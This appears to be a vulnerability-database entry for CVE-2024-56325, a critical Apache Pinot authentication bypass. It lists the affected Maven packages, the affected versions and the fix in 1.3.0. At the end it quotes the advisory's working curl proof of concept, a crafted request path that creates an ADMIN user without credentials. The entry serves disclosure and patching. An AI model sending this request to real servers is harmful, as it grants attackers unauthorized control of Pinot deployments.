Answer in brief
CVE-2024-56325 records a Critical severity (CVSS 9.8) vulnerability in Apache Pinot Vulnerable to Authentication Bypass. The current sources do not mark it as known exploited. The current feed maps org.apache.pinot:pinot-broker (maven), org.apache.pinot:pinot-common (maven), org.apache.pinot:pinot-controller (maven). Check affected ranges and fixed versions before updating.
Analysis pending evidence review
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CVSS is 9.8. The current sources do not mark it as known exploited. Treat this as a source-backed prioritization signal, not a statement about your environment.
Analysis status
Analysis pending evidence review
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The current feed maps org.apache.pinot:pinot-broker (maven), org.apache.pinot:pinot-common (maven), org.apache.pinot:pinot-controller (maven). Check affected ranges and fixed versions before updating.
| Package | Affected range | Fixed version |
|---|---|---|
| org.apache.pinot:pinot-brokermaven | >=0.8.0,<1.3.0 | 1.3.0 |
| org.apache.pinot:pinot-commonmaven | >=0.8.0,<1.3.0 | 1.3.0 |
| org.apache.pinot:pinot-controllermaven | >=0.8.0,<1.3.0 | 1.3.0 |
Published upstream
Apr 1, 2025
Evidence: source:ghsa:source_dates:source-dates:recordSource modified
Aug 31, 2026
Evidence: source:ghsa:source_dates:source-dates:recordFirst seen by HOL
Aug 31, 2026
Authentication Bypass Issue If the path does not contain / and contain., authentication is not required. Expected Normal Request and Response Example curl -X POST -H "Content-Type: application/json" -d {\"username\":\"hack2\",\"password\":\"hack\",\"component\":\"CONTROLLER\",\"role\":\"ADMIN\",\"tables\":[],\"permissions\":[],\"usernameWithComponent\":\"hack_CONTROLLER\"} http://{server_ip}:9000/users Return: {"code":401,"error":"HTTP 401 Unauthorized"} Malicious Request and Response Example curl -X POST -H "Content-Type: application/json" -d '{\"username\":\"hack\",\"password\":\"hack\",\"component\":\"CONTROLLER\",\"role\":\"ADMIN\",\"tables\":[],\"permissions\":[],\"usernameWithComponent\":\"hack_CONTROLLER\"}' http://{serverip}:9000/users; http://{serverip}:9000/users; . Return: {"users":{}} A new user gets added bypassing authentication, enabling the user to control Pinot.
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